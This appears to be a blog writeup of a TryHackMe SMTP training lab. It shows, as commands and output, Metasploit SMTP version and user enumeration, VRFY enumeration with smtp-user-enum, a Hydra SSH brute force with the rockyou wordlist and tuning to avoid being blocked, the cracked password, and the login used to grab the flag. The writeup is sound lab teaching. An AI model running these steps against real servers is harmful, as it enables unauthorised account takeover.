> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Network Services 2 (SMTP) Writeup
- URL: https://taiwanding.com/en/tryhackme-network-services-2-smtp-writeup/
- Published: 2025-10-26T06:42:25.000Z
- Updated: 2026-08-10T10:22:13.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

📚 Series · TryHackMe Network Services

1. [Part 1: SMB](https://taiwanding.com/en/tryhackme-network-services-smb-writeup-2/)
2. ▸ Part 2: SMTP  (this post)
3. [Part 2: MySQL](https://taiwanding.com/en/tryhackme-network-services-2-mysql-writeup/)

**Overview**: This room walks through how to enumerate an SMTP service and follow up with an attack driven by user enumeration.

## 📋 Target Info

- Target IP: `10.201.91.170`
- Service: SMTP (Postfix on Ubuntu)
- Goal: Gain system access via SMTP user enumeration

## 1\. Launch Metasploit

```bash
msfconsole

```

## 2\. SMTP Version Enumeration

### Search for the smtp\_version module

```bash
msf6 > search smtp_version

```

**Full module name:** `auxiliary/scanner/smtp/smtp_version`

### Select the module and list its options

```bash
msf6 > use auxiliary/scanner/smtp/smtp_version
msf6 auxiliary(scanner/smtp/smtp_version) > options

```

### Set the required options

Option to set: **RHOSTS**

```bash
msf6 auxiliary(scanner/smtp/smtp_version) > set RHOSTS 10.201.91.170
msf6 auxiliary(scanner/smtp/smtp_version) > run

```

**Scan result:**

```
[+] 10.201.91.170:25 - 220 polosmtp.home ESMTP Postfix (Ubuntu)

```

**System mail name:** `polosmtp.home`

**MTA (Mail Transfer Agent):** `Postfix`

## 3\. SMTP User Enumeration

### Search for the smtp\_enum module

```bash
msf6 > search smtp_enum

```

**Full module name:** `auxiliary/scanner/smtp/smtp_enum`

### Select the module and set its options

```bash
msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) > show options

```

### Set the wordlist path

Option to set: **USER\_FILE**

```bash
msf6 auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt

```

### Set the target host

Another required parameter: **RHOSTS**

```bash
msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 10.201.91.170

```

### Run the enumeration

```bash
msf6 auxiliary(scanner/smtp/smtp_enum) > run

```

**Enumeration result:**

User discovered: **administrator**

## 4\. You can also use smtp-user-enum

If Metasploit's smtp\_enum doesn't give you great results, you can reach for a dedicated tool:

```bash
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 10.201.91.170

```

**Enumeration result:**

```
10.201.91.170: administrator exists  ⬅️ high-value target!
10.201.91.170: root exists
10.201.91.170: postmaster exists
10.201.91.170: mail exists
[... other system users ...]

```

## 5\. SSH Password Brute Force

### Brute-forcing SSH with Hydra

```bash
hydra -l administrator -P /usr/share/wordlists/rockyou.txt ssh://10.201.91.170 -t 4 -w 3 -V

```

**Flag reference:**

- `-l administrator` \- target user
- `-P /usr/share/wordlists/rockyou.txt` \- password wordlist
- `-t 4` \- use 4 threads (to avoid getting blocked by SSH)
- `-w 3` \- wait 3 seconds between attempts
- `-V` \- show verbose progress

**Brute-force result:**

```
[22][ssh] host: 10.201.91.170   login: administrator   password: alejandro

```

✅ Password cracked: **alejandro**

## 7\. SSH In and Grab the Flag

```bash
ssh administrator@10.201.91.170
# password: alejandro

```

✅ SSH login successful!

```
Welcome to Ubuntu 20.04.6 LTS
administrator@ip-10-201-91-170:~$

```

### Grab the Flag

```bash
administrator@ip-10-201-91-170:~$ ls
smtp.txt

administrator@ip-10-201-91-170:~$ cat smtp.txt
THM{Redacted}

```

## Key Takeaways

- ✅ Metasploit `auxiliary/scanner/smtp/smtp_version` \- identify the SMTP version
- ✅ Metasploit `auxiliary/scanner/smtp/smtp_enum` \- enumerate users
- ✅ `smtp-user-enum` \- enumerate using the VRFY command (alternative approach)
- ✅ Hydra - SSH password brute force

## Metasploit Command Cheat Sheet

| Command                 | Description         |
| ----------------------- | ------------------- |
| msfconsole              | Launch Metasploit   |
| search <term>           | Search for modules  |
| use <module>            | Select a module     |
| show options or options | List module options |
| set <option> <value>    | Set an option       |
| run or exploit          | Run the module      |